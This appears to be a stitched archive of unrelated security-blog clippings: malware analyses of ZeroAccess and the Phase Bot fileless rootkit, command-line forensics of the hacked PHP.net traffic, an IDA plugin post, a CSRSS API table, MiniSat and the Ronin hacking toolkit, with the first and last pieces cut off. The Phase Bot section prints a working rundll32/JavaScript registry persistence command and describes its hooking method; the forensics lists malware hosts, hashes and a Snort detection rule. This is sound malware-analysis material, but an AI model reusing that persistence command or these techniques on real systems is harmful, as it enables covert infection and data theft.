ZeroAcess rootkit infection:

<img src='img/Temp2_10015.png' />

We have some critical evidence of a ZeroAccess rootkit infection, we see
presence of two Atapi DRV instances where one of them has a stack of Unnamed
Devices.This behavior is also typical of a wide range of rootkits. This output
is matches perfectly with the analysis of the driver code instructions
performed previously. .

In the second instance, we have evidence that is a bit less evident. We see
two new devices that belong to Atapi Driver:

  * \PciIde0Channel1-1
  * \PciIde0Channel0-0

Here we see another example of object stealing with the IRP Hook for
FileSystem hiding purposes, this time based on \Device\PCI.

This completes the analysis of the first driver.  
Next, in part 3 we reverse Engineering the Kernel-Mode Device Driver Process
Injection Rootkit >>**  
**

**  
**

## You may also be interested in:

  * Advanced Persistent Threat
  * DOS Commands
  * Interview with Mike Rothman
  * Helix Mounting
  * Keatron’s Penetration Tools List

###  

# Intrinsics and Inline Assembly

**Created:**| _5/29/2011 8:52:56 PM_  
---|---  
**Updated:**| _5/29/2011 8:53:05 PM_  
**Author:**| __  
**Tags:**| _compiler-building windows_  
  

# Intrinsics and Inline Assembly

**Visual Studio 2010**

Other Versions

<img src='img/Temp2_4502.png' />

  * Visual Studio 2008
  * Visual Studio 2005

One of the constraints for the x64 compiler is to have no inline assembler
support. This means that functions that cannot be written in C or C++ will
either have to be written as subroutines or as intrinsic functions supported
by the compiler. Certain functions are performance sensitive while others are
not. Performance-sensitive functions should be implemented as intrinsic
functions. In general, this will be the same list of intrinsic functions
implemented for ALPHA and the Itanium but will include x64 specific functions
as well.

The intrinsics supported by the compiler are described in Compiler Intrinsics.

# Command-line Forensics of hacked PHP.net - NETRESEC Blog

**Created:**| _10/29/2013 9:27:48 AM_  
---|---  
**Updated:**| _10/29/2013 10:09:26 AM_  
**Author:**| __  
**Tags:**| _Linux Malware-analysis_  
  

## Command-line Forensics of hacked PHP.net

<img src='img/Temp2_1523.jpg' alt='LSI and Monitor playing KALISCOP by
DanCentury' />

The good people from Barracuda Labs were kind enough to share a PCAP file from
the PHP.net compromize on their blog.

I decided to have a closer look at that PCAP file to see what can be extracted
from it. Since the PCAP contains Windows malware I played safe and did all the
analysis on a Linux machine with no Internet connectivity.

For no particluar reason I also decided to do all the analysis without any GUI
tools. Old skool ;\)

> ~/Desktop$ capinfos barracuda.pcap  
>  File name: barracuda.pcap  
>  File type: Wireshark/tcpdump/... - libpcap  
>  File encapsulation: Ethernet  
>  Number of packets: 1403  
>  File size: 1256656 bytes  
>  Data size: 1234184 bytes  
>  Capture duration: 125 seconds  
>  Start time: Tue Oct 22 19:27:36 2013  
>  End time: Tue Oct 22 19:29:41 2013  
>  Data byte rate: 9897.42 bytes/sec  
>  Data bit rate: 79179.33 bits/sec  
>  Average packet size: 879.67 bytes  
>  Average packet rate: 11.25 packets/sec  
>
We can see that the PCAP is from October 22, i.e. the traffic was captured at
least one day before Google Safe Browsing started alerting users that PHP.net
was hosting malware. Barracuda Labs made the PCAP file public on October 24.

A good start is to look at IP's and hostnames based on DNS traffic. Tshark can
give a nice hosts-file formatted output with the following command:

> ~/Desktop$ tshark -r barracuda.pcap -q -z hosts  
>  \# TShark hosts output  
>  \#  
>  \# Host data gathered from barracuda.pcap  
>  
>  69.147.83.199 php.net  
>  69.147.83.201 y3b.php.net  
>  91.214.203.236 url.whichusb.co.uk  
>  91.214.203.240 aes.whichdigitalphoto.co.uk  
>  144.76.192.102 zivvgmyrwy.3razbave.info  
>  108.168.255.244 j.maxmind.com  
>  74.125.224.146 www.google.com  
>  74.125.224.148 www.google.com  
>  74.125.224.147 www.google.com  
>  74.125.224.144 www.google.com  
>  74.125.224.145 www.google.com  
>  95.106.70.103 uocqiumsciscqaiu.org  
>  213.141.130.50 uocqiumsciscqaiu.org  
>  77.70.85.108 uocqiumsciscqaiu.org  
>  69.245.241.238 uocqiumsciscqaiu.org  
>  78.62.94.153 uocqiumsciscqaiu.org  
>  83.166.105.96 uocqiumsciscqaiu.org  
>  89.215.216.111 uocqiumsciscqaiu.org  
>  176.219.188.56 uocqiumsciscqaiu.org  
>  94.244.141.40 uocqiumsciscqaiu.org  
>  78.60.109.182 uocqiumsciscqaiu.org  
>  213.200.55.143 uocqiumsciscqaiu.org  
>
Several of these hostnames look suspicious, the first odd one is
zivvgmyrwy.3razbave.info, which looks as if it is produced by a domain
generation algorithm \(DGA\). Let's see what we can find out about this host
with NetworkMinerCLI, i.e. the command line version of NetworkMiner
Professional. NetworkMinerCLI works just fine in Linux \(if you have installed
Mono\) and it's perfect when you wanna automize content extraction from PCAP
files, since you can script it to extract metadata and files to disk from the
captured packets.

**zivvgmyrwy.3razbave.info**

> ~/Desktop$ mkdir php-net  
>  ~/Desktop$ NetworkMinerCLI.exe -r barracuda.pcap -w php-net
NetworkMinerCLI has now produced multiple CSV files that we can grep in \(or
load into Excel / OpenOffice\). The “AssembledFiles” directory contains the
files that have been extracted from the packets.

> ~/Desktop/php-net$ ls  
>  AssembledFiles  
>  barracuda.pcap.CleartextWords.csv  
>  barracuda.pcap.Credentials.csv  
>  barracuda.pcap.DnsRecords.csv  
>  barracuda.pcap.FileInfos.csv  
>  barracuda.pcap.Hosts.csv  
>  barracuda.pcap.Parameters.csv  
>  barracuda.pcap.Sessions.csv  
>
We'll start by grepping for the DGA hostname and its IP.

> ~/Desktop/php-net$ grep zivvgmyrwy barracuda.pcap.Hosts.csv | cut -d, -f 1,3,5  
>  144.76.192.102,"zivvgmyrwy.3razbave.info,DE Germany  
>  
>  ~/Desktop/php-net$ grep 144.76.192.102 barracuda.pcap.FileInfos.csv | cut -d, -f 1,9,10  
>  144.76.192.102,50599e6c124493994541489e00e816e3,3C68746D<htm  
>  144.76.192.102,8943d7a67139892a929e65c0f69a5ced,3C21444F<\!DO  
>  144.76.192.102,97017ee966626d55d76598826217801f,3C68746D<htm  
>  144.76.192.102,dc0dbf82e756fe110c5fbdd771fe67f5,4D5A9000MZ..  
>  144.76.192.102,406d6001e16e76622d85a92ae3453588,4D5A9000MZ..  
>  144.76.192.102,d41d8cd98f00b204e9800998ecf8427e,  
>  144.76.192.102,c73134f67fd261dedbc1b685b49d1fa4,4D5A9000MZ..  
>  144.76.192.102,18f4d13f7670866f96822e4683137dd6,4D5A9000MZ..  
>  144.76.192.102,78a5f0bc44fa387310d6571ed752e217,4D5A9000MZ..  
>
These are the MD5-sums of the files that have been downloaded from that
suspicious domain. The last column \(column 10 in the original CSV file\) is
the file's first four bytes in Hex, followed by an ASCII representation of the
same four bytes. Hence, files starting with 4D5A \(hex for “MZ”\) are
typically Windows PE32 binaries. We can see that five PE32 files have been
downloaded from 144.76.192.102.

All the listed files have also been carved to disk by NetworkMinerCLI. We can
therefore have a quick look at the extracted files to see if any of them uses
the _IsDebuggerPresent_ function, which is a common anti-debugging technique
used by malware to avoid sanboxes and malware analysts.

> ~/Desktop/php-net$ fgrep -R IsDebuggerPresent AssembledFiles  
>  Binary file AssembledFiles/144.76.192.102/HTTP - TCP
> 80/index.html.A62ECF91.html matches  
>  Binary file AssembledFiles/144.76.192.102/HTTP - TCP
> 80/index.html.63366393.html matches  
>  Binary file AssembledFiles/144.76.192.102/HTTP - TCP
> 80/index.html.6FA4D5CC.html matches  
>  Binary file AssembledFiles/144.76.192.102/HTTP - TCP
> 80/index.html.51620EC7.html matches  
>
**uocqiumsciscqaiu.org**

The other odd looking domain name was “uocqiumsciscqaiu.org” that seems to be
pointing to a whole array of IP addresses. Let's see what we can find out
about this domain:

> ~/Desktop/php-net$ grep uocqiumsciscqaiu barracuda.pcap.Hosts.csv | cut -d, -f 1,3,4  
>  95.106.70.103,uocqiumsciscqaiu.org,RU Russian Federation
It turns out that the PCAP file contains communication to one of the IP
addresses associated with the “uocqiumsciscqaiu.org” domain. The server is
located in Russia \(according to MaxMind\). Let's use httpry to have a quick
look at what this server was used for.

> ~/Desktop/php-net$ httpry -r ../barracuda.pcap "host 95.106.70.103"  
>  httpry version 0.1.6 -- HTTP logging and information retrieval tool  
>  Copyright \(c\) 2005-2011 Jason Bittel <jason.bittel@gmail.com>  
>  2013-10-22
> 19:28:44192.168.40.1095.106.70.103>POSTuocqiumsciscqaiu.org/HTTP/1.1--  
>  1 http packets parsed
Ohh, an HTTP POST. Let's see what content that was pushed out to the Russian
server\!

> ~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "ip.addr eq 95.106.70.103
> and http.request" -x  
>  
>  862 67.365496 192.168.40.10 -> 95.106.70.103 HTTP POST / HTTP/1.1  
>  
>  0000 0a b4 df 27 c2 b0 00 20 18 eb ca 28 08 00 45 00 ...'... ...\(..E.  
>  0010 01 05 02 96 40 00 80 06 68 d9 c0 a8 28 0a 5f 6a ....@...h...\(.\_j  
>  0020 46 67 04 2f 00 50 d3 80 46 2f e3 c6 b5 b5 50 18 Fg./.P..F/....P.  
>  0030 ff ff b0 15 00 00 50 4f 53 54 20 2f 20 48 54 54 ......POST / HTT  
>  0040 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 75 6f 63 P/1.1..Host: uoc  
>  0050 71 69 75 6d 73 63 69 73 63 71 61 69 75 2e 6f 72 qiumsciscqaiu.or  
>  0060 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 g..Content-Lengt  
>  0070 68 3a 20 31 32 38 0d 0a 43 61 63 68 65 2d 43 6f h: 128..Cache-Co  
>  0080 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d ntrol: no-cache.  
>  0090 0a 0d 0a 1c 61 37 c4 95 55 9a a0 1c 96 5a 0e e7 ....a7..U....Z..  
>  00a0 f7 16 65 b2 00 9a 93 dc 21 96 e8 70 84 e8 75 6a ..e.....\!..p..uj  
>  00b0 04 e2 21 fb f1 2f 96 ce 4e 6c a8 f8 54 ac dd aa ..\!../..Nl..T...  
>  00c0 d5 fa c1 61 b5 ec 18 68 38 6e 3b ac 8e 86 a5 d0 ...a...h8n;.....  
>  00d0 f2 62 73 6e ee 37 bc 40 3e 3d 22 0b fe 7c ca 9c .bsn.7.@>="..|..  
>  00e0 49 39 2b d2 cb a2 ec 02 70 2b 58 de 24 75 61 21 I9+.....p+X.$ua\!  
>  00f0 85 c9 91 c1 7a ee 0b f7 fd 6c ef e6 c2 6e cb a9 ....z....l...n..  
>  0100 fb ac 65 d8 78 87 fa e2 7f 05 13 a6 73 3d 27 b1 ..e.x.......s='.  
>  0110 db c2 a7 ...  
>
That looks quite odd. Most likely C2 communication or some form of encrypted
channel for information leakage.

**ZeroAccess Trojan**

Running the PCAP through Snort will generate multiple alerts indicating that
UDP traffic to port 53 might be C2 traffic from the ZeroAccess trojan.

> 10/22-20:28:38.363586 \[\*\*\] \[1:2015474:2\] ET TROJAN ZeroAccess udp
> traffic detected \[\*\*\] \[Classification: A Network Trojan was Detected\]
> \[Priority: 1\] \{UDP\} 192.168.40.10:1055 -> 85.114.128.127:53
There will also be another alert indicating ZeroAccess traffic, but this time
for UDP port 16471:

> 10/22-20:28:57.501645 \[\*\*\] \[1:2015482:6\] ET TROJAN ZeroAccess Outbound
> udp traffic detected \[\*\*\] \[Classification: A Network Trojan was
> Detected\] \[Priority: 1\] \{UDP\} 192.168.40.10:1073 -> 219.68.96.128:16471
But when looking closer at the traffic for that alert we only see one outgoing
packet, but no response. That wasn't very interesting. However, the rule that
was triggered in this particular alert contained a threshold that suppressed
alerts for ZeroAccess traffic to other IP addresses. Here is the syntax for
the Snort rule:

> alert udp $HOME\_NET any -> $EXTERNAL\_NET any \(msg:"ET TROJAN ZeroAccess
> Outbound udp traffic detected"; content:"|28 94 8d ab c9 c0 d1 99|";
> offset:4; depth:8; dsize:16; threshold: type both, track by\_src, count 10,
> seconds 600; classtype:trojan-activity; sid:2015482; rev:4;\)
We can use the content signature to search for other similar packets by using
tshark like this:

> ~/Desktop/php-net$ tshark -R "udp and data.data contains 28:94:8d:ab:c9:c0:d1:99" -r ../barracuda.pcap -T fields -e ip.dst -e udp.port | sort -u  
>  105.129.8.19616471  
>  111.119.186.15016471  
>  112.200.137.20616471  
>  113.162.57.13816471  
>  114.207.201.7416471  
>  118.107.222.16116471  
>  118.175.165.4116471  
>  121.73.83.6216471  
>  124.43.201.6616471  
>  153.166.2.10316471  
>  173.177.175.24116471  
>  178.34.223.5216471  
>  182.160.5.9716471  
>  185.12.43.6316471  
>  186.55.140.13816471  
>  186.88.99.23716471  
>  187.245.116.20516471  
>  190.206.224.24816471  
>  190.213.108.24416471  
>  197.228.246.21316471  
>  197.7.33.6516471  
>  201.1.171.8916471  
>  202.123.181.17816471  
>  202.29.179.25116471  
>  203.81.69.15516471  
>  212.85.174.8016471  
>  218.186.195.10516471  
>  219.68.96.12816471  
>  24.142.33.6716471  
>  27.109.17.22716471  
>  31.169.11.20816471  
>  37.229.237.13016471  
>  37.229.239.3616471  
>  37.237.75.6616471  
>  37.243.218.7016471  
>  37.49.224.14816471  
>  46.40.32.15416471  
>  50.81.51.16716471  
>  5.102.206.17816471  
>  5.12.127.20616471  
>  5.234.117.8516471  
>  5.254.141.18616471  
>  66.26.243.17116471  
>  70.45.207.2316471  
>  72.24.235.14116471  
>  72.252.207.10816471  
>  75.75.125.20316471  
>  78.177.67.21916471  
>  79.54.68.4316471  
>  84.202.148.22016471  
>  85.28.144.4916471  
>  88.222.114.1816471  
>  92.245.193.13716471  
>  93.116.10.20716471  
>  95.180.241.12016471  
>  95.68.74.55 16471  
>
Wow, the ZeroAccess trojan's P2P C2 traffic sure is noisy, the threshold was
probably there for a reason. But let's see which of these servers that
actually reply to the ZeroAccess traffic:

> ~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "udp.srcport eq 16471" -T
> fields -e ip.src > ZeroAccessHosts  
>  
>  ~/Desktop/php-net$ fgrep -f ZeroAccessHosts 5f810408ddbbd6d349b4be4766f41a37.pcap.Hosts.csv | cut -d, -f 1,4  
>  
>  27.109.17.227,IN India  
>  37.49.224.148,NL Netherlands  
>  37.229.239.36,UA Ukraine  
>  50.81.51.167,US United States  
>  66.26.243.171,US United States  
>  72.24.235.141,US United States  
>  75.75.125.203,US United States  
>  85.28.144.49,PL Poland  
>  88.222.114.18,LT Lithuania  
>  173.177.175.241,CA Canada  
>  190.213.108.244,TT Trinidad and Tobago  
>  201.1.171.89,BR Brazil  
>
Sweet, those IP's are most likely infected with ZeroAccess as well.

**Bonus Find**

Barracuda Lab's public IP address for their malware analysis machine seems to
be 64.235.155.80.

> ~/Desktop/php-net$ cut -d, -f1,3,4 barracuda.pcap.Credentials.csv | head -2  
>  ClientIP,Protocol,Username  
>  192.168.40.10,HTTP Cookie,COUNTRY=USA%2C**64.235.155.80**  
>
**Timeline**

I've created a timeline of the events in the PCAP file provided by Barracuda
Labs. This timeline is frame centric, i.e. frame number is used as the first
identifier instead of a timestamp. This helps when you wanna find a particular
event in the PCAP.

Frame | Data | Comment  
---|---|---  
15 | Set-Cookie: COUNTRY=USA%2C64.235.155.80 | The external IP of Barracuda's malware lab is stored as a cookie.  
139 | GET /www.php.net/userprefs.js | The first entry of infection at PHP.net  
174 | GET /b0047396f70a98831ac1e3b25c324328/ b7fc797c851c250e92de05cbafe98609 | VML Exploit downloaded  
213 | Ransomware Zbot downloaded from 144.76.192.102 | File details on VirusTotal or Anubis. MD5: dc0dbf82e756fe110c5fbdd771fe67f5  
299 | Ransomware Zbot downloaded from 144.76.192.102 | File details on VirusTotal or Anubis. MD5: 406d6001e16e76622d85a92ae3453588  
424 | Trojan downloaded from 144.76.192.102 | File details on VirusTotal or Anubis. MD5: c73134f67fd261dedbc1b685b49d1fa4  
534 | ZeroAccess Trojan downloaded from 144.76.192.102 | File details on VirusTotal or Anubis. MD5: 18f4d13f7670866f96822e4683137dd6  
728 | GET /app/geoip.js HTTP/1.0 | MaxMind query by ZeroAccess Trojan. MD5: 18f4d13f7670866f96822e4683137dd6  
804 | Tepfer Password Stealer downloaded from 144.76.192.102 | File details on VirusTotal or Anubis. MD5: 78a5f0bc44fa387310d6571ed752e217  
862 | HTTP POST to hxxp://uocqiumsciscqaiu.org | ZeroAccess/Fareit/Zeus?  
1042 | TCP 16471 | First of the TCP-based ZeroAccess C2 channels  
1036 | UDP 16471 | First UDP packet with ZeroAccess C2 data  
1041 | UDP 16471 | first UDP ZeroAccess successful reply

# Display Mach-O headers plugin for IDA | Reverse Engineering Mac OS X
**Created:**| _11/10/2011 3:24:50 PM_  
---|---  
**Updated:**| _11/10/2011 3:24:50 PM_  
**Author:**| __  
**Tags:**| _iDA Mac-hacking_  
  

# Display Mach-O headers plugin for IDA

November 3, 2011 in Tools | No comments
This is a simple plugin to display mach-o headers inside IDA, something I miss
from time to time. It was a good excuse to mess a little with IDA SDK.  
It’s not quite what I had initially in mind but it does the job. I was
thinking about something more sophisticated such as allow to display only the
segment you wanted and so on. Now I am not sure if it’s worth the effort <img
src='img/Temp2_2309.gif' alt=':-)' />

Tested with IDA 6.x in OS X and Windows, 32 and 64 bits. Included are Makefile
and XCode project for OS X, and Windows DevC++ projects for 32 and 64 bits.

Give a look to the README file for extra information. Too tired and too late
to write a long post <img src='img/Temp2_2309.gif' alt=':-)' />

Yeah, the code isn’t beautiful\! Anyway I hope it’s useful for you.

Have fun,  
fG\!

MachOPlugin\_v0.2.zip  
SHA256\(MachOPlugin\_v0.2.zip\)=
aea01470a92a94a67ae29e6eba659b195829e599165265f8dd0fdc80333bc5a7

MachOPlugin\_v0.3.zip  
SHA256\(MachOPlugin\_v0.3.zip\)=
73ea3471856027d7882b3b89986209f633bd19bc8b2159da7346a3e89c34fa4d

Also available at github.

**Update:**  
v0.3 fixes some bugs/missing stuff and implements a workaround to IDA
crashing.

IDA BUGS:  
I seem to have found a few bugs in IDA QT GUI implementation.  
The most annoying one is that the plugin will crash IDA if called more than
once in the same session. What happens is that IDA happilly keeps opening new
custom views even if there is code trying to prevent it.  
The create\_tform\(\) function from the SDK should return a new handle if
there is already a form with the same caption. Well this works with the old
GUI but fails with the new one \(QT\). The same happens with find\_tform. In
this case, it never returns NULL if there’s no form \(which is the expected
behavior\).  
I implemented a small workaround, which is to add a number to the form
caption. This way each call to the plugin will generate a new custom view and
not crash IDA. Not pretty but the other workarounds I tried failed since I
can’t find if form exists or not.

The other bugs are described in the README file. If you know a better
workaround for this one please tell me <img src='img/Temp2_2309.gif' alt=':-)'
/>

# Phase Bot - A Fileless Rootkit | MalwareTech
**Created:**| _12/12/2014 4:54:48 PM_  
---|---  
**Updated:**| _12/12/2014 4:54:48 PM_  
**Author:**| __  
**Tags:**| __  
  

# A Fileless Rootkit

Phase Bot is a fileless rootkit that went on sale during late October, the bot
is fairly cheap \($200\) and boasts features such as formgrabbing, ftp
stealing, and of course the ability to run without a file.

<img src='img/Temp2_6226.png' />

The first thing you notice when opening it up in IDA is that the
AddressOfEntryPoint is 0, this may seem like an error, but it actually isn't.
Setting the entry point to 0 means the start of the DOS header is used as the
entry point, this is possible because most of the fields following the MZ
signature aren't required, and the M \(0x4D\) Z \(0x5A\) are actually valid
instructions \(dec ebp and pop edx respectively\). I'm not sure the actual
purpose of this trick, but it's interesting nonetheless.  <img
src='img/Temp2_6229.png' />  
---  
Cancels out the MZ instructions then jumps to real entry point.  
The real entry point is contained within the first 560 bytes of the only
section in the executable, this code is designed to get data stored within the
non-essential NT header fields and use it to RC4 decrypt the rest of the
section, which contains the 2nd stage \(shellcode\).

<img src='img/Temp2_6231.png' />

Most initialization happens is what appears to be the world longest function;
the executable doesn't have an import table so functions are resolved by hash.
All the initialized data such as offsets, strings, and function addresses is
stored within a large structure which is passed to all functions.  <img
src='img/Temp2_6230.png' />  
---  
but does anyone truly know what loops are?  
Once initialization is done the bot then check that PowerShell and version 2
of the .net framework is installed: if it is, normal installation continues,
if not, it writes the bot code to a file in the startup folder.  
  
The malware first creates the registry key "hkcu\software\microsoft\active
setup\installed components\\\{<GUID\_STRING>\}", then RC4 encrypts the 2nd
stage's shellcode with the key "Phase" and writes it under the subkey
"Rc4Encoded32", afterward the 64-bit shellcode is extracted and written to
Rc4Encoded64 subkey, also encrypted with "Phase" as the key, a 3rd subkey is
created named "JavaScript" which contains some JavaScript code.

<img src='img/Temp2_6225.png' />

The full JavaScript is a bit long to post here, so I've uploaded it to
pastebin. It simply base64 decodes a PowerShell script designed to read and
decrypt the shellcode from the Rc4Encoded subkey, then runs; you can find the
decoded PowerShell script here \(the comments were left in by the author\).  
  
For the bot to start with the system, a subkey named "Windows Host Process
\(RunDll\)" is created under
"hkcu\software\microsoft\windows\currentVersion\run", with the following
value:

> rundll32.exe javascript:"\\..\mshtml,RunHTMLApplication
> ";eval\(\(new%20ActiveXObject\("WScript.Shell"\)\).RegRead\("HKCU\\\Software\\\Microsoft\\\Active%20Setup\\\Installed%20Components\\\\\{72507C54-3577-4830-815B-310007F6135A\}\\\JavaScript"\)\);close\(\);
This is a trick used by Win32/Poweliks to get rundll32 to run the code from
the JavaScript subkey, which then base64 decode the PowerShell script and runs
it with PowerShell.exe, you can read more about this trick here.

<img src='img/Temp2_6228.png' />

The final stage, which runs from within PowerShell hooks the following
functions by overwriting the first instruction with 0xF4 \(HLT\).

  * ntdll\!NtResumeThread \(Inject new processes\)
  * ntdll\!NtReadVirtualMemory \(Hide malware's memory\)
  * ntdll\!NtQueryDirectoryFile \(Hide file, only if failed fileless installation\)
  * ws2\_32\!send \(Data stealer\)
  * wininet\!HttpSendRequest \(Internet Explorer formgrabber\)
  * nss3\!PR\_Write \(Firefox formgrabber\)

The HLT instruction is a privileged instruction which cannot be executed from
ring 3, as a result it generates an 0xC0000096 Privileged Instruction
exception, which the bot picks up and handles using a vectored exception
handler. This is the same as standard software breakpoint hooking, but using
an invalid instruction instead of int 3.

<img src='img/Temp2_6227.png' />

As you can imagine, the executable shows all sorts of malicious signs.  <img
src='img/Temp2_6224.png' />  
---  
NULL AddressOfEntryPoint, missing all data directories, invalid section name.  
It should be noted that some of the features advertised appear to be missing
and the comments in the PowerShell code suggest that this sample is an
early/testing version. I'll update if I can get hold of a newer version.

# MiniSat Page

**Created:**| _9/16/2010 9:52:14 AM_  
---|---  
**Updated:**| _9/16/2010 9:52:49 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing sat Theorem solver SMT_  
  

# Introduction

<img src='img/Temp2_5373.png' alt='Trophies' /> **_MiniSat_ is a minimalistic,
open-source SAT solver, developed to help researchers and developers alike to
get started on SAT.** It is released under the MIT licence, and is currently
used in a number of projects \(see "Links"\). On this page you will find
binaries, sources, documentation and projects related to _MiniSat_ , including
the Pseudo-boolean solver _MiniSat+_ and the CNF minimizer/preprocessor
_SatELite_. Together with _SatELite_ , _MiniSat_ was recently awarded in the
three industrial categories and one of the "crafted" categories of the SAT
2005 competition \(see picture\).

Some key features of _MiniSat_ :

  * **Easy to modify.** _MiniSat_ is small and well-documented, and possibly also well-designed, making it an ideal starting point for adapting SAT based techniques to domain specific problems.
  * **Highly efficient.** Winning all the industrial categories of the SAT 2005 competition, _MiniSat_ is a good starting point both for future research in SAT, and for applications using SAT.
  * **Designed for integration.** _MiniSat_ supports incremental SAT and has mechanisms for adding non-clausal constraints. By virtue of being easy to modify, it is a good choice for integrating as a backend to another tool, such as a model checker or a more generic constraint solver.

We would like to start a community to help distribute knowledge about how to
use and modify _MiniSat_. Any questions, comments, bugreports, bugfixes etc.
should be directed to minisat@googlegroups.com. The archives can be browsed
here. The source code repository for MiniSat 2.2 can be found at github.

# Windows CSRSS cross-version API Table | j00ru//vx tech blog
**Created:**| _9/10/2010 9:44:10 AM_  
---|---  
**Updated:**| _9/10/2010 9:44:10 AM_  
**Author:**| _wishi_  
**Tags:**| _API hooking windows environment_  
  

## Windows CSRSS cross-version API Table

Hello\!

It seems like half a year has passed since I published the Win32k.SYS system
call table list on the net. During this time \(well, it didn't take so long
<img src='img/12429_icon_wink.gif' alt=';)' /> \) I managed to gather enough
information to release yet another API list - this time, concerning an _user-
mode_ application - CSRSS \(_Client/Server Runtime SubSystem_\). As a
_relatively_ common research subject, I think a table of this kind can make
things easier for lots of people.

Before presenting the table itself, I would like to gently introduce the
mechanism in consideration to the reader. As the name itself states, CSRSS is
a part of the Windows Environment Subsystem, running in user-mode. It is a
single process \(having the highest possible - SYSTEM - privileges\), which
mostly takes advantage of three dynamic libraries - _basesrv.dll_ ,
_csrsrv.dll_ and _winsrv.dll_. These files provide support for certain parts
of the subsystem functionality, such as:

  * Updating the list of processes / threads running on the system
  * Handling the Console Window \(i.e. special _text-mode_ window\) events
  * Implementing parts of the Virtual DOS Machine support
  * Supplying miscellaneous functions, such as _ExitWindowsEx_

Every _W_ indows process running on the system does \(or, at least, _should_\)
have an open connection with CSRSS, through the LPC / ALPC mechanism
\(depending on the system version\) - which in turn stands for _\(Advanced\)
Local Procedure Calls_. The _ntdll.dll_ module provides multiple functions
dedicated to the data exchange between user processes and CSRSS. Some of the
examplary, exported names include, but are not limited to:

  * CsrClientConnectToServer
  * CsrGetProcessId
  * CsrClientCallServer
  * CsrAllocateMessageBuffer

Out of all the Csr~ wrapper functions, _CsrClientCallServer_ is the most
commonly used. One can find it's references in _kernel32.CreateProcess_,
_kernel32.AllocConsole_, _kernel32.FreeConsole_, _user32.EndTask_ and tens of
other documented API functions. At a closer look, it is easy to notice that
each time a call is made to _CsrClientCallServer_ , an unique number is pushed
on the stack, differing from routine to routine. An exemplary code snippet
follows:

[/code]

[code]

view sourceprint?

`1.``.text:77E96D55           push    4`

`2.``.text:77E96D57           push    20225h    &amp;amp;lt;---------- HERE`

`3.``.text:77E96D5C           mov     [ebp+var_7C], eax`

`4.``.text:77E96D5F           push    0`

`5.``.text:77E96D61           lea     eax, [ebp+var_A4]`

`6.``.text:77E96D67           push    eax`

`7.``.text:77E96D68           call    ds:__imp__CsrClientCallServer@16 ;
CsrClientCallServer(x,x,x,x)`

As it turns out, these numbers are in fact _indexes_ into special function
pointer tables defined by the aforementioned libraries used by CSRSS. More
specifically, a special routine - internally called _CsrApiRequestThread_ \-
running in the context of a separate csrss.exe thread, is responsible for
receiving user requests \(that is - the _CsrApi ID_ value together with the
input buffer\), handling it through  appropriate dispatch tables, and
returning the results. This scheme is slightly different on Windows 7, but the
general idea remains the same.

In order to give the reader a better view of how many and what functions are
supported on a specific OS version, as well as make cross-version comparisons
easier, I've created two versions of the CsrAPI table:

  1. A complete list of the functions present in the dispatch tables for most likely every NT-series system can be found @ **http://j00ru.vexillium.org/csrss\_list/api\_list.html**.
  2. A cross-version compatibility table, for the same system version set can be found @ **http://j00ru.vexillium.org/csrss\_list/api\_table.html**.

I have done my best to make sure that the presented materials are correct and
up-to-date. If, however, a mistake of any kinds is noticed, please let me know
about this fact asap <img src='img/12429_icon_wink.gif' alt=';)' /> It is
possible that I will manage to fill the red-green table with corresponding
api-numbers soon - I cannot guarantee this, though.

From this point, I would like to thank all people who showed their interest
and helped my with this tiny project - Thank You\! Also, please drop me a line
on whether you like the idea or not <img src='img/12429_icon_wink.gif'
alt=';-)' />

_CsrClientCallServer_

Filed under: CSRSS, OS Internals, Ring3, Undocumented API, Windows 7, Windows
Vista, Windows XP, blog

# Introducing Ronin, a hacking environment for the rest of us « House of
Postmodern

**Created:**| _6/16/2009 6:48:42 PM_  
---|---  
**Updated:**| _6/16/2009 6:48:52 PM_  
**Author:**| __  
**Tags:**| _security tools ruby_  
  

# Introducing Ronin, a hacking environment for the rest of us

Ronin has been my main quasi-secret \(I only told people who asked what I was
hacking on in GVim\) project for some time now. It has also been driving most
of my side projects, such as GScraper, reverse-require and R’epertoire. The
code-base has finally settled down now, allowing me to release version 0.0.9
of Ronin. This is an initial beta-release, so not all of the desired features
are present, although I’m always looking for user-feedback.

Ronin is a platform for information security and data-exploration tasks. Ronin
harnesses the elegance of Ruby \(one-liner convenience methods, sparse monkey-
patching, meta-programming, Domain Specific Languages \(DSL\) and duck-
typing\) to provide the user with a robust API, an extendable command-line
utility and a customized IRB console.

Ronin is considered a platform and not a framework, since it has the ability
to install Overlays of code \(think extensions\) and data \(think
exploit/shellcode repositories\) from any SubVersion \(SVN\), Git, CVS or
Rsync repositories, which are then integrated into Ronin’s environment. The
ability to install 3rd party code or data from any common source-code
repository using just a URI is what makes Ronin decentralized.

Ronin is not bloated either, most of it’s functionality is divided between
various libraries which can be selectively installed by the user. These
libraries allow the user to choose what functionality they need from Ronin.
Ronin currently provides the following libraries:

  * Ronin SQL – Provides SQL Injection tests, exploitation methods and a DSL for generating complex SQL Injection statements.
  * Ronin PHP – Provides PHP Local File Inclusion \(LFI\) and Remote File Inclusion \(RFI\) tests, fingerprinting, exploitation methods and a custom PHP Remote Procedure Call \(RPC\) server which can injected via RFI vulnerabilities.
  * Ronin Dorks – Provides a simply API for performing common or even custom Google Dorks.
  * Ronin Exploits – Provides an API for defining Exploits or Payloads which can also be distributed over the previously mentioned Overlays and cached by Ronin for later use.

Ronin is packaged as a RubyGem and can be downloaded here. To install Ronin
using RubyGems, simply run the following command:

[code]

    $ sudo gem install ronin
    
[/code]

Documentation for Ronin and it’s libraries can be found here. If you have
further questions there’s also a FAQ for Ronin.

**Update 2:** I have recently published a HOWTO covering Ronin’s convenience
methods and how to perform everyday tasks in the Ronin Console \(such as
owning web-servers\).

**Update 1:** An astute reader of this blog pointed out that R’epertoire
0.1.2, which is required by Ronin, was not yet released as a RubyGem on
rubyforge.org. This issue has been corrected and R’epertoire 0.1.2 is now
available for download.

Also expect a release of the Ronin Exploits soon \(I’m in the process of
adding the beginnings of Vulnerability Taxonomy to the Exploit base-class\).

* * *
**Possibly related posts: \(automatically generated\)**

  * Ronin 0.2.1 “notashellscript” released
  * Ronin “theouterlibs” 0.2.2 released
  * Ronin 0.1.3 “shake down” Released

# Downloads - dynamorio - Project Hosting on Google Code

**Created:**| _4/22/2010 6:49:03 PM_  
---|---  
